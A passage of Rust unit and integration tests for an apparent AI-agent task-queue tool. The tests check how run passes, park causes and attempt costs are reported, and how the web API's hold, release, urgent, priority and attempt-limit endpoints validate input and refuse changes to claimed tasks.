15911 "0123456789abcdef".to_owned(),
15912 "Do it".to_owned(),
15913 Config::default(),
15914 );
15915 s.status = RunStatus::Implementing;
15916 s.parked = true;
15917 let task = Task::new(
15918 "t".to_owned(),
15919 "Do it".to_owned(),
15920 PathBuf::from("/repo/magi"),
15921 Source::Human,
15922 );
15923 let v = task_run_view(
15924 "20260902-140501-aaaa",
15925 Some(&s),
15926 RunSlot {
15927 n: 1,
15928 resumed: false,
15929 resumed_later: None,
15930 prior: None,
15931 last: true,
15932 ..RunSlot::default()
15933 },
15934 &task,
15935 );
15936 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15937 }
15938
15939 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15940 let mut s = flow_run(RunStatus::Implementing, edit);
15941 s.parked = false;
15942 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15943 task_run_view(
15944 "20260902-140501-aaaa",
15945 Some(&s),
15946 RunSlot {
15947 n: 1,
15948 resumed: false,
15949 resumed_later: Some(2),
15950 prior: None,
15951 last: false,
15952 ..RunSlot::default()
15953 },
15954 &task,
15955 )
15956 }
15957
15958 #[test]
15959 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15960 let v = earlier_pass_view(|_| {});
15961 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15962 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15963 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15964 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15965 assert_eq!(v.exit, RunExit::Interrupted);
15966 assert_eq!(v.attempt, AttemptCost::Unknown);
15967 }
15968
15969 #[test]
15970 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15971 let v = earlier_pass_view(|s| {
15972 s.quota.push(crate::run::QuotaLoss {
15973 seat: "judge-1".to_owned(),
15974 node: "judge".to_owned(),
15975 at: Timestamp::now(),
15976 reset: None,
15977 });
15978 });
15979 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15980 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15981 assert_eq!(v.attempt, AttemptCost::Unknown);
15982 }
15983
15984 #[test]
15985 fn the_current_pass_states_its_recorded_cause_and_cost() {
15986 let slot = || RunSlot {
15987 n: 1,
15988 resumed: false,
15989 resumed_later: None,
15990 prior: None,
15991 last: true,
15992 ..RunSlot::default()
15993 };
15994 let task = flow_task(&["20260902-140501-aaaa"]);
15995 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15996 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15997 assert_eq!(
15998 (v.exit, v.attempt),
15999 (RunExit::Parked, AttemptCost::Refunded)
16000 );
16001 let spent = flow_run(RunStatus::Blocked, |_| {});
16002 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16003 assert_eq!(v.attempt, AttemptCost::Spent);
16004 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16005 }
16006
16007 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16008 crate::run::RunPass {
16009 index,
16010 started_at: Timestamp::now(),
16011 resumed: index > 0,
16012 ended_at: end.as_ref().map(|_| Timestamp::now()),
16013 end,
16014 task_entry: true,
16015 }
16016 }
16017
16018 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16019 Some(crate::run::PassEnd::Parked { cause })
16020 }
16021
16022 fn upgrade_cause() -> crate::run::ParkCause {
16023 crate::run::ParkCause::Upgrade {
16024 from: "0.121.0".to_owned(),
16025 to: Some("0.121.1".to_owned()),
16026 }
16027 }
16028
16029 fn settled_pass(
16030 run: &str,
16031 index: usize,
16032 cost: crate::queue::PassCost,
16033 ) -> crate::queue::TaskPass {
16034 crate::queue::TaskPass {
16035 run: run.to_owned(),
16036 pass_index: index,
16037 started_at: None,
16038 cost,
16039 attempts_after: 1,
16040 settled_at: Timestamp::now(),
16041 parked: None,
16042 }
16043 }
16044
16045 const RUN_X: &str = "20261011-223708-4334";
16046
16047 #[test]
16048 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16049 use crate::queue::PassCost;
16050 let run = flow_run(RunStatus::Implementing, |s| {
16051 s.passes = vec![
16052 recorded_pass(0, parked(upgrade_cause())),
16053 recorded_pass(1, None),
16054 ];
16055 });
16056 let mut task = flow_task(&[RUN_X, RUN_X]);
16057 task.attempts = 1;
16058 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16059 let h = task_history(&task, |_| Some(run.clone()));
16060 assert_eq!(h.len(), 2);
16061 assert_eq!(h[0].kind, "competition");
16062 assert_eq!(h[1].kind, "resume");
16063 assert_eq!(
16064 (h[0].exit, h[0].attempt),
16065 (RunExit::Parked, AttemptCost::Refunded)
16066 );
16067 assert!(
16068 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16069 "{}",
16070 h[0].outcome
16071 );
16072 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16073 assert!(
16074 h[0].outcome.contains("pass #2 resumed the same run"),
16075 "{}",
16076 h[0].outcome
16077 );
16078 assert!(
16079 h[0].outcome.contains("pass 1 of 2 over run"),
16080 "{}",
16081 h[0].outcome
16082 );
16083 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16084 assert_eq!(
16085 h[0].exit_label,
16086 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16087 );
16088 let f = task_flow(&task, &h, 2, None);
16089 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16091 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16092 assert!(
16093 f.edges[1].label.contains("upgrade 0.121.0"),
16094 "{}",
16095 f.edges[1].label
16096 );
16097 assert!(
16098 f.edges[1].label.contains("resume the same run"),
16099 "{}",
16100 f.edges[1].label
16101 );
16102 assert_eq!(f.nodes[1].note, Some("parked"));
16103 }
16104
16105 #[test]
16106 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16107 let mut a = flow_run(RunStatus::Implementing, |s| {
16108 s.passes = vec![
16109 recorded_pass(0, parked(upgrade_cause())),
16110 recorded_pass(1, None),
16111 ];
16112 });
16113 let mut b = flow_run(RunStatus::Failed, |s| {
16114 s.passes = vec![recorded_pass(0, None)];
16115 });
16116 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16117 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16118 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16119 let mut task = flow_task(&[]);
16120 task.start("a".into());
16121 task.start("b".into());
16122 task.start("a".into());
16123 assert_eq!(task.runs, ["b", "a"]);
16124 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16125 let h = task_history(&task, |id| {
16126 Some(if id == "a" { a.clone() } else { b.clone() })
16127 });
16128 assert_eq!(
16129 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16130 ["a", "b", "a"]
16131 );
16132 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16133 assert!(h[0].outcome.contains("upgrade"));
16134 assert_eq!(h[2].kind, "resume");
16135 assert!(h[2].pass.is_some());
16136 task.runs = vec!["a".into(), "b".into(), "a".into()];
16138 let old = task_history(&task, |id| {
16139 Some(if id == "a" { a.clone() } else { b.clone() })
16140 });
16141 assert_eq!(
16142 old.iter()
16143 .map(|v| (&v.id, &v.kind, v.attempt))
16144 .collect::<Vec<_>>(),
16145 h.iter()
16146 .map(|v| (&v.id, &v.kind, v.attempt))
16147 .collect::<Vec<_>>()
16148 );
16149 }
16150
16151 #[test]
16152 fn an_upgrade_whose_target_was_not_known_says_so() {
16153 let run = flow_run(RunStatus::Implementing, |s| {
16154 s.passes = vec![
16155 recorded_pass(
16156 0,
16157 parked(crate::run::ParkCause::Upgrade {
16158 from: "0.121.0".to_owned(),
16159 to: None,
16160 }),
16161 ),
16162 recorded_pass(1, None),
16163 ];
16164 });
16165 let task = flow_task(&[RUN_X, RUN_X]);
16166 let h = task_history(&task, |_| Some(run.clone()));
16167 assert!(
16168 h[0].outcome.contains("upgrade from 0.121.0"),
16169 "{}",
16170 h[0].outcome
16171 );
16172 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16174 }
16175
16176 #[test]
16177 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16178 use crate::queue::PassCost;
16179 use crate::run::ParkCause;
16180 let run = flow_run(RunStatus::Implementing, |s| {
16181 s.passes = vec![
16182 recorded_pass(0, parked(upgrade_cause())),
16183 recorded_pass(
16184 1,
16185 parked(ParkCause::Interrupt {
16186 reason: "task a1b2 asked to run first".to_owned(),
16187 }),
16188 ),
16189 recorded_pass(2, parked(ParkCause::Operator)),
16190 recorded_pass(3, None),
16191 ];
16192 });
16193 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16194 task.attempts = 1;
16195 task.passes = (0..3)
16196 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16197 .collect();
16198 let h = task_history(&task, |_| Some(run.clone()));
16199 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16200 assert!(
16201 h[1].outcome.contains("task a1b2 asked to run first"),
16202 "{}",
16203 h[1].outcome
16204 );
16205 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16206 assert!(
16207 h[2].outcome.contains("operator asked the loop to park"),
16208 "{}",
16209 h[2].outcome
16210 );
16211 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16212 let f = task_flow(&task, &h, 2, None);
16213 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16214 }
16215
16216 #[test]
16217 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16218 let run = flow_run(RunStatus::Implementing, |s| {
16219 s.passes = vec![
16220 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16221 recorded_pass(1, None),
16222 ];
16223 });
16224 let task = flow_task(&[RUN_X, RUN_X]);
16225 let h = task_history(&task, |_| Some(run.clone()));
16226 assert_eq!(h[0].exit, RunExit::Interrupted);
16227 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16228 assert!(
16229 h[0].outcome.contains("without recording why"),
16230 "{}",
16231 h[0].outcome
16232 );
16233 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16234 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16235 }
16236
16237 #[test]
16238 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16239 use crate::queue::PassCost;
16240 let run = flow_run(RunStatus::Implementing, |s| {
16243 s.passes = vec![
16244 recorded_pass(0, parked(upgrade_cause())),
16245 recorded_pass(1, None),
16246 ];
16247 });
16248 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16249 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16250 let h = task_history(&task, |_| Some(run.clone()));
16251 assert!(h[0].pass.is_none());
16252 assert_eq!(h[0].exit, RunExit::Interrupted);
16253 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16254 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16255 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16256 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16257 let legacy = flow_run(RunStatus::Implementing, |_| {});
16259 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16260 assert!(h.iter().all(|v| v.pass.is_none()));
16261 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16262 }
16263
16264 #[test]
16265 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16266 use crate::queue::PassCost;
16267 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16270 web.task_entry = false;
16271 let run = flow_run(RunStatus::Implementing, |s| {
16272 s.passes = vec![
16273 recorded_pass(0, parked(upgrade_cause())),
16274 web.clone(),
16275 recorded_pass(2, None),
16276 ];
16277 });
16278 let mut task = flow_task(&[RUN_X, RUN_X]);
16279 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16280 let h = task_history(&task, |_| Some(run.clone()));
16281 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16282 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16283
16284 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16287 web0.task_entry = false;
16288 let run = flow_run(RunStatus::Implementing, |s| {
16289 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16290 });
16291 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16292 assert!(h[0].pass.is_none());
16293 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16294 assert!(h[1].pass.is_some());
16295 }
16296
16297 #[tokio::test]
16298 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16299 let dir = tempfile::tempdir().unwrap();
16300 let queue = Queue::at(dir.path().join("queue"));
16301 let ui = Arc::new(Ui::new(
16302 queue.clone(),
16303 Questions::at(dir.path().join("questions")),
16304 Talks::at(dir.path().join("talks")),
16305 dir.path().join("runs"),
16306 dir.path().to_path_buf(),
16307 dir.path().to_path_buf(),
16308 ));
16309 let mut t = Task::new(
16310 "recover".into(),
16311 "Inspect".into(),
16312 PathBuf::from("."),
16313 Source::Human,
16314 );
16315 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16316 t.start("run-A".into());
16317 t.release_operator("choice", Some("resume-question"));
16318 t.resume_override = Some(crate::queue::OperatorResume {
16319 question_id: "resume-question".into(),
16320 at: jiff::Timestamp::now(),
16321 conductor_rehold: None,
16322 forced: true,
16323 pinned_run: Some("run-A".into()),
16324 });
16325 t.hold_machine(Some("inspection pending".into()));
16326 t.edit("recover".into(), "Reuse approved PR head".into())
16327 .unwrap();
16328 queue.put(&mut t).unwrap();
16329 let mut cli = t.clone();
16330 cli.release_operator("cli", None);
16331 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16332 let reloaded = queue.get(&t.id).unwrap();
16333 assert_eq!(reply.task.status, TaskStatus::Queued);
16334 assert!(reloaded.resume_override.is_none());
16335 assert_eq!(reloaded.answers, t.answers);
16336 let mut web = reloaded.resumption.unwrap();
16337 let cli = cli.resumption.unwrap();
16338 assert_eq!(web.source, "web");
16339 web.source = cli.source.clone();
16340 web.at = cli.at;
16341 assert_eq!(web, cli);
16342 }
16343
16344 #[tokio::test]
16345 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16346 let f = Fixture::start().await;
16347 let queue = f.queue();
16348 let mut task = Task::new(
16349 "spent".to_owned(),
16350 "Try again".to_owned(),
16351 PathBuf::from("/repo/magi"),
16352 Source::Human,
16353 );
16354 task.start("20260902-140502-bbbb".to_owned());
16355 task.fail("agent gave up", 9);
16356 queue.put(&mut task).expect("file the task");
16357
16358 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16359 assert_eq!(held.status, 200);
16360 assert_eq!(held.json()["status_str"], "held");
16361
16362 let released = f
16363 .post(&format!("/api/queue/{}/release", task.id), None)
16364 .await;
16365 assert_eq!(released.status, 200);
16366 assert_eq!(released.json()["status_str"], "queued");
16367 assert_eq!(released.json()["resumption"]["source"], "web");
16368 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16369 let mut cli = task.clone();
16370 cli.release_operator("cli", None);
16371 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16372 let cli = cli.resumption.unwrap();
16373 assert_eq!(web.instruction, cli.instruction);
16374 assert_eq!(web.answers_through, cli.answers_through);
16375 assert_eq!(web.runs_through, cli.runs_through);
16376 assert_eq!(web.cleared_reason, cli.cleared_reason);
16377 assert_eq!(
16378 released.json()["attempts"],
16379 0,
16380 "release is a real second chance, not an instant re-hold"
16381 );
16382 assert_eq!(
16383 queue.get(&task.id).expect("reload").status,
16384 TaskStatus::Queued,
16385 "the change is on disk, not only in the reply"
16386 );
16387 assert!(
16388 !f.home
16389 .path()
16390 .join("queue")
16391 .join(format!("{}.lock", task.id))
16392 .exists(),
16393 "the claim the mutation took is released again"
16394 );
16395 }
16396
16397 #[tokio::test]
16398 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16399 let f = Fixture::start().await;
16400 let queue = f.queue();
16401 let mut task = Task::new(
16402 "busy".to_owned(),
16403 "Running right now".to_owned(),
16404 PathBuf::from("/repo/magi"),
16405 Source::Human,
16406 );
16407 queue.put(&mut task).expect("file the task");
16408 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16409
16410 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16411
16412 assert_eq!(res.status, 409);
16413 assert_eq!(
16414 queue.get(&task.id).expect("reload").status,
16415 TaskStatus::Queued,
16416 "the refused hold changed nothing"
16417 );
16418 }
16419
16420 #[tokio::test]
16421 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16422 let f = Fixture::start().await;
16423 let queue = f.queue();
16424 let mut task = Task::new(
16425 "waiting on the migration".to_owned(),
16426 "Do the thing".to_owned(),
16427 PathBuf::from("/repo/magi"),
16428 Source::Human,
16429 );
16430 queue.put(&mut task).expect("file the task");
16431
16432 let held = f
16433 .post(
16434 &format!("/api/queue/{}/hold", task.id),
16435 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16436 )
16437 .await;
16438 assert_eq!(held.status, 200, "{}", held.body);
16439 assert_eq!(held.json()["status_str"], "held");
16440 assert_eq!(
16441 held.json()["hold_reason"],
16442 "waiting for 20260101-000000-aaaa to land"
16443 );
16444
16445 let listed = f.get("/api/queue").await.json();
16446 assert_eq!(
16447 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16448 "the card reads the reason off the same list route"
16449 );
16450
16451 let mut plain = Task::new(
16454 "no reason given".to_owned(),
16455 "Do another thing".to_owned(),
16456 PathBuf::from("/repo/magi"),
16457 Source::Human,
16458 );
16459 queue.put(&mut plain).expect("file the task");
16460 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16461 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16462 assert!(held_plain.json()["hold_reason"].is_null());
16463
16464 let released = f
16465 .post(&format!("/api/queue/{}/release", task.id), None)
16466 .await;
16467 assert_eq!(released.status, 200);
16468 assert!(
16469 released.json()["hold_reason"].is_null(),
16470 "a release must clear the reason so the next hold does not inherit it"
16471 );
16472 }
16473
16474 #[test]
16475 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16476 for urgent in [true, false] {
16477 let body: UrgentBody =
16478 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16479 assert_eq!(body.urgent, urgent);
16480 }
16481 for input in [
16482 r#"{}"#,
16483 r#"{"urgent":null}"#,
16484 r#"{"urgent":"true"}"#,
16485 r#"{"urgent":1}"#,
16486 r#"{"urgent":true,"extra":false}"#,
16487 ] {
16488 assert!(
16489 serde_json::from_str::<UrgentBody>(input).is_err(),
16490 "{input}"
16491 );
16492 }
16493 }
16494
16495 #[tokio::test]
16496 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16497 let home = TempDir::new().unwrap();
16498 let q = Queue::at(home.path().join("queue"));
16499 let ui = Arc::new(Ui::new(
16500 q.clone(),
16501 Questions::at(home.path().join("questions")),
16502 Talks::at(home.path().join("talks")),
16503 home.path().join("runs"),
16504 home.path().into(),
16505 home.path().into(),
16506 ));
16507 let mut task = Task::new(
16508 "urgent handler".into(),
16509 "keep".into(),
16510 home.path().into(),
16511 Source::Human,
16512 );
16513 for status in [TaskStatus::Queued, TaskStatus::Held] {
16514 task.status = status;
16515 q.put(&mut task).unwrap();
16516 for urgent in [true, true, false, false] {
16517 let saved = queue_urgent(
16518 State(Arc::clone(&ui)),
16519 Path(task.short().into()),
16520 Ok(Json(UrgentBody { urgent })),
16521 )
16522 .await
16523 .unwrap();
16524 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16525 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16526 }
16527 }
16528 task.status = TaskStatus::Queued;
16529 q.put(&mut task).unwrap();
16530 let claim = q.claim(&task.id).unwrap();
16531 let error = queue_urgent(
16532 State(Arc::clone(&ui)),
16533 Path(task.id.clone()),
16534 Ok(Json(UrgentBody { urgent: true })),
16535 )
16536 .await
16537 .unwrap_err();
16538 assert_eq!(error.status, StatusCode::CONFLICT);
16539 assert!(error.message.contains("released"));
16540 drop(claim);
16541 for status in [
16542 TaskStatus::Running,
16543 TaskStatus::Done,
16544 TaskStatus::Failed,
16545 TaskStatus::Blocked,
16546 TaskStatus::Parked,
16547 ] {
16548 task.status = status;
16549 q.put(&mut task).unwrap();
16550 let error = queue_urgent(
16551 State(Arc::clone(&ui)),
16552 Path(task.id.clone()),
16553 Ok(Json(UrgentBody { urgent: false })),
16554 )
16555 .await
16556 .unwrap_err();
16557 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16558 assert!(error.message.contains(status.as_str()));
16559 }
16560 }
16561
16562 #[tokio::test]
16563 async fn urgent_api_updates_preserves_and_validates_tasks() {
16564 let f = Fixture::start().await;
16565 let q = f.queue();
16566 let mut t = Task::new(
16567 "urgent API".into(),
16568 "unchanged".into(),
16569 PathBuf::from("/repo/magi"),
16570 Source::Human,
16571 );
16572 t.attempts = 2;
16573 t.priority = 9;
16574 t.interrupt = true;
16575 t.hold_reason = Some("waiting for approval".into());
16576 for status in [TaskStatus::Queued, TaskStatus::Held] {
16577 t.status = status;
16578 q.put(&mut t).unwrap();
16579 for urgent in [true, true, false, false] {
16580 let response = f
16581 .post(
16582 &format!("/api/queue/{}/urgent", t.short()),
16583 Some(&format!("{{\"urgent\":{urgent}}}")),
16584 )
16585 .await;
16586 assert_eq!(response.status, 200, "{}", response.body);
16587 assert_eq!(response.json()["urgent"], urgent);
16588 let saved = q.get(&t.id).unwrap();
16589 let mut before = serde_json::to_value(&t).unwrap();
16590 let mut after = serde_json::to_value(saved).unwrap();
16591 before["urgent"] = urgent.into();
16592 before.as_object_mut().unwrap().remove("updated_at");
16593 after.as_object_mut().unwrap().remove("updated_at");
16594 assert_eq!(after, before);
16595 }
16596 }
16597 let route = format!("/api/queue/{}/urgent", t.id);
16598 for body in [
16599 r#"{}"#,
16600 r#"{"urgent":null}"#,
16601 r#"{"urgent":"true"}"#,
16602 r#"{"urgent":1}"#,
16603 r#"{"urgent":true,"extra":false}"#,
16604 "{",
16605 ] {
16606 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16607 }
16608 t.status = TaskStatus::Queued;
16609 q.put(&mut t).unwrap();
16610 let claim = q.claim(&t.id).unwrap();
16611 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16612 assert_eq!(response.status, 409, "{}", response.body);
16613 assert!(!q.get(&t.id).unwrap().urgent);
16614 drop(claim);
16615 for status in [
16616 TaskStatus::Running,
16617 TaskStatus::Done,
16618 TaskStatus::Failed,
16619 TaskStatus::Blocked,
16620 TaskStatus::Parked,
16621 ] {
16622 t.status = status;
16623 q.put(&mut t).unwrap();
16624 for urgent in [true, false] {
16625 let response = f
16626 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16627 .await;
16628 assert_eq!(response.status, 400, "{}", response.body);
16629 assert!(response.body.contains(status.as_str()));
16630 assert!(response.body.contains("queued or held"));
16631 assert!(!q.get(&t.id).unwrap().urgent);
16632 }
16633 }
16634 assert_eq!(
16635 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16636 .await
16637 .status,
16638 404
16639 );
16640 }
16641
16642 #[tokio::test]
16643 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16644 let f = Fixture::start().await;
16645 let queue = f.queue();
16646 let mut older = Task::new(
16647 "filed first".to_owned(),
16648 "x".to_owned(),
16649 PathBuf::from("/repo/magi"),
16650 Source::Human,
16651 );
16652 older.id = "20260101-000001-aaaa".to_owned();
16653 let mut newer = Task::new(
16654 "filed second".to_owned(),
16655 "x".to_owned(),
16656 PathBuf::from("/repo/magi"),
16657 Source::Human,
16658 );
16659 newer.id = "20260101-000002-bbbb".to_owned();
16660 queue.put(&mut older).expect("file older");
16661 queue.put(&mut newer).expect("file newer");
16662
16663 let before = f.get("/api/queue").await.json();
16666 assert_eq!(before[0]["id"], newer.id);
16667 assert_eq!(before[1]["id"], older.id);
16668
16669 let raised = f
16673 .post(
16674 &format!("/api/queue/{}/priority", older.id),
16675 Some(r#"{"priority":10}"#),
16676 )
16677 .await;
16678 assert_eq!(raised.status, 200, "{}", raised.body);
16679 assert_eq!(raised.json()["priority"], 10);
16680
16681 let after = f.get("/api/queue").await.json();
16682 let names: Vec<&str> = after
16683 .as_array()
16684 .unwrap()
16685 .iter()
16686 .map(|t| t["id"].as_str().unwrap())
16687 .collect();
16688 assert_eq!(names[0], older.id, "the raised task now sorts first");
16692 }
16693
16694 #[tokio::test]
16695 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16696 let dir = TempDir::new().unwrap();
16697 let q = Queue::at(dir.path().join("queue"));
16698 let ui = Arc::new(Ui::new(
16699 q.clone(),
16700 Questions::at(dir.path().join("questions")),
16701 Talks::at(dir.path().join("talks")),
16702 dir.path().join("runs"),
16703 dir.path().to_path_buf(),
16704 dir.path().to_path_buf(),
16705 ));
16706 let mut t = Task::new(
16707 "budget".into(),
16708 "keep".into(),
16709 dir.path().into(),
16710 Source::Human,
16711 );
16712 t.attempts = 2;
16713 t.runs.push("prior-run".into());
16714 t.hold_manual(Some("waiting".into()));
16715 q.put(&mut t).unwrap();
16716 let change = |value| {
16717 queue_attempt_limit(
16718 State(ui.clone()),
16719 Path(t.id.clone()),
16720 Ok(Json(AttemptLimitBody {
16721 attempt_limit: value,
16722 })),
16723 )
16724 };
16725 for value in [
16726 serde_json::json!(3),
16727 serde_json::Value::Null,
16728 serde_json::json!(1),
16729 ] {
16730 let response = change(value.clone()).await.unwrap();
16731 assert_eq!(
16732 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16733 value
16734 );
16735 let saved = q.get(&t.id).unwrap();
16736 assert_eq!(
16737 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16738 value
16739 );
16740 assert_eq!(saved.status, TaskStatus::Held);
16741 assert_eq!(saved.attempts, t.attempts);
16742 assert_eq!(saved.runs, t.runs);
16743 assert_eq!(saved.hold_reason, t.hold_reason);
16744 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16745 .await
16746 .unwrap()
16747 .0;
16748 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16749 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16750 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16751 assert_eq!(outcome.max_attempts, detail.max_attempts);
16752 }
16753 for value in [
16754 serde_json::json!(0),
16755 serde_json::json!(-1),
16756 serde_json::json!(1.5),
16757 serde_json::json!("3"),
16758 serde_json::json!(true),
16759 ] {
16760 assert_eq!(
16761 change(value).await.err().unwrap().status,
16762 StatusCode::BAD_REQUEST
16763 );
16764 }
16765 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16766 let claim = q.claim(&t.id).unwrap();
16767 assert_eq!(
16768 change(serde_json::json!(4)).await.err().unwrap().status,
16769 StatusCode::CONFLICT
16770 );
16771 drop(claim);
16772 for status in [
16773 TaskStatus::Running,
16774 TaskStatus::Done,
16775 TaskStatus::Failed,
16776 TaskStatus::Blocked,
16777 TaskStatus::Parked,
16778 ] {
16779 let mut stored = q.get(&t.id).unwrap();
16780 stored.status = status;
16781 q.put(&mut stored).unwrap();
16782 assert_eq!(
16783 change(serde_json::json!(4)).await.err().unwrap().status,
16784 StatusCode::BAD_REQUEST
16785 );
16786 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16787 }
16788 let mut stored = q.get(&t.id).unwrap();
16789 stored.status = TaskStatus::Queued;
16790 q.put(&mut stored).unwrap();
16791 let _ = change(serde_json::Value::Null).await.unwrap();
16792 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16793 }
16794
16795 #[tokio::test]
16796 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16797 let dir = TempDir::new().unwrap();
16798 let repo = dir.path().join("repo");
16799 std::fs::create_dir(&repo).unwrap();
16800 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16801 let q = Queue::at(dir.path().join("queue"));
16802 let ui = Arc::new(Ui::new(
16803 q.clone(),
16804 Questions::at(dir.path().join("questions")),
16805 Talks::at(dir.path().join("talks")),
16806 dir.path().join("runs"),
16807 dir.path().to_path_buf(),
16808 repo.clone(),
16809 ));
16810 let mut t = Task::new(
16811 "seats".into(),
16812 "keep instruction".into(),
16813 repo,
16814 Source::Human,
16815 );
16816 t.runs.push("prior-run".into());
16817 t.hold_manual(Some("waiting".into()));
16818 q.put(&mut t).unwrap();
16819 let change = |count| {
16820 queue_implementers(
16821 State(ui.clone()),
16822 Path(t.id.clone()),
16823 Ok(Json(ImplementersBody {
16824 implementers: count,
16825 })),
16826 )
16827 };
16828 for count in [2, 1, 2] {
16829 let response = change(count).await.unwrap();
16830 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16831 let saved = q.get(&t.id).unwrap();
16832 assert_eq!(saved.implementers(), Some(usize::from(count)));
16833 assert_eq!(saved.runs, t.runs);
16834 assert_eq!(saved.instruction, t.instruction);
16835 }
